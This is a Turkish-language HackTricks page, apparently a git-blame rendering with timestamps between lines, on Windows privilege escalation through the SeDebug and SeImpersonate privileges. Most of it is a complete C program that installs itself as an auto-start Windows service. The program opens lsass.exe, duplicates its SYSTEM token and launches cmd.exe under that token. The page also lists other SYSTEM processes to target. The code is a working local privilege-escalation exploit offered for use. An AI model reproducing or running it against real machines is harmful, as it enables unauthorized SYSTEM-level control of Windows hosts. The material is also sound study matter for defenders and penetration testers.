2022-04-28 16:01:33 +00:00
< details >
2024-02-10 18:14:16 +00:00
< summary > < strong > AWS hackleme becerilerini sı fı rdan kahraman seviyesine öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Kı rmı zı Takı m Uzmanı )< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları :
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamı nı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI** ](https://github.com/sponsors/carlospolop )'na göz atı n!
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
* [**PEASS Ailesi'ni** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimizden** ](https://opensea.io/collection/the-peass-family ) oluşan koleksiyonumuz
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) **katı lı n** veya **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )'u **takip edin** .
* **Hacking hilelerinizi paylaşarak** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na **PR göndererek** katkı da bulunun.
2022-04-28 16:01:33 +00:00
< / details >
2024-02-10 18:14:16 +00:00
Aşağı daki kod, **SeDebug ve SeImpersonate ayrı calı kları nı ** kullanarak, **SİSTEM olarak çalı şan bir işlemdeki** ve **tüm token ayrı calı kları na sahip** olan tokeni kopyalamak için kullanı lı r. \
Bu durumda, bu kod bir **Windows hizmeti ikili** olarak derlenebilir ve çalı şı p çalı şmadı ğı nı kontrol etmek için kullanı labilir.\
Ancak, **yükseltmenin gerçekleştiği kodun ana kı smı ** ** `Exploit` ** **fonksiyonu içindedir** .\
Bu fonksiyonun içinde, **_lsass.exe_** **işlemi aranı r** , ardı ndan **tokeni kopyalanı r** ve son olarak bu token kullanı larak kopyalanan tokenin tüm ayrı calı kları na sahip yeni bir **_cmd.exe_** başlatı lı r.
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Tüm veya çoğu token ayrı calı ğı na sahip **diğer SİSTEM olarak çalı şan işlemler** : **services.exe** , **svhost.exe** (ilklerden biri), **wininit.exe** , **csrss.exe** ... (_Unutmayı n, bir Korumalı işlemden bir token kopyalayamazsı nı z_). Ayrı ca, bir işlemin tokenlerini görmek için yönetici olarak çalı şan [Process Hacker ](https://processhacker.sourceforge.io/downloads.php ) aracı nı kullanabilirsiniz.
2020-07-15 15:43:14 +00:00
```c
2024-02-08 03:06:37 +00:00
// From https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html
2020-07-15 15:43:14 +00:00
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")
TCHAR* serviceName = TEXT("TokenDanceSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;
//This function will find the pid of a process by name
int FindTarget(const char *procname) {
2024-02-10 18:14:16 +00:00
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, & pe32)) {
CloseHandle(hProcSnap);
return 0;
2020-07-15 15:43:14 +00:00
}
2024-02-10 18:14:16 +00:00
while (Process32Next(hProcSnap, & pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
CloseHandle(hProcSnap);
return pid;
2020-07-15 15:43:14 +00:00
}
2024-02-10 18:14:16 +00:00
int Exploit(void) {
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
HANDLE hSystemToken, hSystemProcess;
HANDLE dupSystemToken = NULL;
HANDLE hProcess, hThread;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
ZeroMemory(& si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(& pi, sizeof(pi));
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
// open high privileged process
if ( pid = FindTarget("lsass.exe") )
hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
// extract high privileged token
if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, & hSystemToken)) {
CloseHandle(hSystemProcess);
return -1;
2020-07-15 15:43:14 +00:00
}
2024-02-10 18:14:16 +00:00
// make a copy of a token
DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken);
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
// and spawn a new process with higher privs
CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, & si, &pi);
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
return 0;
}
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, & serviceStatus );
SetEvent( stopServiceEvent );
return;
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
case SERVICE_CONTROL_PAUSE:
break;
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
case SERVICE_CONTROL_CONTINUE:
break;
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
case SERVICE_CONTROL_INTERROGATE:
break;
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
default:
break;
}
SetServiceStatus( serviceStatusHandle, & serviceStatus );
}
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, & serviceStatus );
// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, & serviceStatus );
Exploit();
WaitForSingleObject( stopServiceEvent, -1 );
// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, & serviceStatus );
// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;
// service is now stopped
serviceStatus.dwControlsAccepted & = ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, & serviceStatus );
}
2020-07-15 15:43:14 +00:00
}
void InstallService() {
2024-02-10 18:14:16 +00:00
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
2020-07-15 15:43:14 +00:00
}
void UninstallService() {
2024-02-10 18:14:16 +00:00
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, & serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
2020-07-15 15:43:14 +00:00
}
int _tmain( int argc, TCHAR* argv[] )
{
2024-02-10 18:14:16 +00:00
if ( argc > 1 & & lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
2020-07-15 15:43:14 +00:00
}
2024-02-10 18:14:16 +00:00
else if ( argc > 1 & & lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
StartServiceCtrlDispatcher( serviceTable );
}
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
return 0;
}
```
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 18:14:16 +00:00
< summary > < strong > AWS hackleme becerilerini sı fı rdan kahraman seviyesine öğrenmek için< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Kı rmı zı Takı m Uzmanı )< / strong > < / a > < strong > 'ı öğrenin!< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları :
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamı nı görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA** ](https://github.com/sponsors/carlospolop ) göz atı n!
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
* [**PEASS Ailesi'ni** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) **katı lı n** veya **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**'ı takip edin.**
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depoları na **PR göndererek paylaşı n** .
2022-04-28 16:01:33 +00:00
< / details >